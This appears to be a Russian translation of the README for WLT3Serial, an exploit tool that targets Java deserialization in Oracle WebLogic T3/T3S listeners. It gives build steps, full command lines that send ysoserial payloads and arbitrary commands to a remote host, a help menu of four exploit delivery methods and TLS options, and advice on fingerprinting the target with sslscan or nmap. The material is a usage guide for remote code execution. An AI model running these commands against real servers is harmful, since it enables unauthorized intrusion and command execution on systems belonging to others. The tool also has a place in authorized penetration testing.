
Эксплойт десериализации на нативном Java для слушателей WebLogic T3 (и T3S).
Нативный эксплойт десериализации на Java для слушателей WebLogic T3 (и T3S) (как описано ЗДЕСЬ). Требует сторонних зависимостей ysoserial и wlthint3client.
Требуется Oracle Java 7 или 8. Не тестировалось с другими поставщиками Java (например, OpenJDK или IBM JRE), поэтому я не гарантирую поддержку для них. Вероятно, может быть собрано с Java 9 или 10, но я не гарантирую поддержку для них.
WLT3Serial собирается с помощью системы автоматизации сборки Gradle. Для сборки следует использовать Gradle 4, хотя другие версии были частично протестированы (см. раздел Разработка).
Сторонние зависимости:
Процедура:
git clone https://github.com/Bort-Millipede/WLT3Serial.gitgradle clean preparegradle build -x testТребуется Oracle Java 7 или 8. Не тестировалось с другими поставщиками Java (например, OpenJDK или IBM JRE), поэтому я не гарантирую поддержку для них. Вероятно, может быть использовано с Java 9 или 10, но я не гарантирую поддержку для них.
Если используются методы эксплуатации Property (по умолчанию), Bind или WLBind, WLT3Serial следует выполнять следующим образом (обратите внимание на значение параметра java '-cp'):
java -cp /path/to/ysoserial.jar:/path/to/wlthint3client.jar:/path/to/WLT3Serial-[VERSION].jar bort.millipede.wlt3.WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMDjava -cp \path\to\ysoserial.jar;\path\to\wlthint3client.jar;\path\to\WLT3Serial-[VERSION].jar bort.millipede.wlt3.WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMDЕсли используется метод эксплуатации CustomClass, WLT3Serial следует выполнять следующим образом (обратите внимание на значение параметра java '-cp'):
java -cp /path/to/ysoserial.jar:/path/to/WLT3Serial-[VERSION].jar:/path/to/wlthint3client.jar bort.millipede.wlt3.WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMDjava -cp \path\to\ysoserial.jar;\path\to\WLT3Serial-[VERSION].jar;\path\to\wlthint3client.jar bort.millipede.wlt3.WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMDНиже приведена распечатка встроенного меню справки:
Usage: WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMD
Options:
--help print usage (you're lookin at it)
--verbose Verbose output (full thrown exception output; Disabled by default)
--method=EXPLOIT_METHOD Exploit Method for delivering generated ysoserial payload
Exploit Methods:
Property Send ysoserial payload as connection environment property value (Default; via javax.naming.Context.lookup(), variation of ysoserial.exploit.RMIRegistryExploit)
Bind Send ysoserial payload as object to bind to name (via javax.naming.Context.bind(), similar to ysoserial.exploit.RMIRegistryExploit)
WLBind Send ysoserial payload as WebLogic RMI object to bind to name (via weblogic.rmi.Naming.bind(), similar to ysoserial.exploit.RMIRegistryExploit)
CustomClass Send ysoserial payload during T3/T3S connection initialization (via custom weblogic.rjvm.ClassTableEntry class, similar to JavaUnserializeExploits weblogic.py)
--t3s[=PROTOCOL] Use T3S (transport-encrypted) connection (Disabled by default)
Protocols:
TLSv1.2
TLSv1.1
TLSv1 (Default)
SSLv3
SSLv2 (SSLv2Hello handshake only, then fallback to SSLv3 for communication: this is an Oracle Java limitation, not a WLT3Serial limitation)
Available Payload Types (WebLogic is usually vulnerable to "CommonsCollectionsX" and "JRMPClientX" types):
(available payloads listed here)
Методы Property, Bind и WLBind очень похожи. Это до такой степени, что если целевая система не может быть эксплуатирована с помощью одного из этих методов, то, скорее всего, она не может быть эксплуатирована ни одним из них. Метод CustomClass полностью отличается от других методов.
Рекомендуется, чтобы пользователь выполнил сканирование целевого сервера с помощью sslscan или скрипта nmap ssl-enum-ciphers, чтобы узнать, какие протоколы поддерживаются. Таким образом, пользователь может точно настроить опцию --t3s при выполнении WLT3Serial.
В попытке улучшить эксплойты JavaUnserializeExploits weblogic.py и loubia, WLT3Serial был разработан на Java с использованием следующих ресурсов для подключения к службам WebLogic T3/T3S:
Особое внимание было уделено нативной обработке T3-соединений в Java, а также правильной обработке ошибок для предоставления полезного вывода команд пользователю.
WLT3Serial был разработан с использованием следующих версий программного обеспечения:
Живое тестирование во время разработки проводилось на следующих версиях WebLogic Server:
Разработчики предоставляют программное обеспечение бесплатно без гарантий и не несут ответственности за любой ущерб, причиненный системам при использовании программного обеспечения. Пользователь обязан соблюдать все местные, государственные и федеральные законы при использовании программного обеспечения.
(C) 2017, 2018 Jeffrey Cap (Bort_Millipede)